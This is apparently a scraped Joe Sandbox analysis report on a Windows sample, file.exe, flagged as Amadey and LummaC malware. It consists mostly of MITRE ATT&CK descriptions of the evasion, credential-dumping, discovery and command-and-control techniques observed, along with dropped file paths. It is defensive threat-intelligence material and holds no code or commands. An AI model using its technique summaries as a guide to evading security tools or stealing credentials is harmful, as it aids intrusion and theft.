Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: LummaC

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll

C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll

C:\Program Files\TaskbarMonitor\TaskbarMonitorInstaller.exe

C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre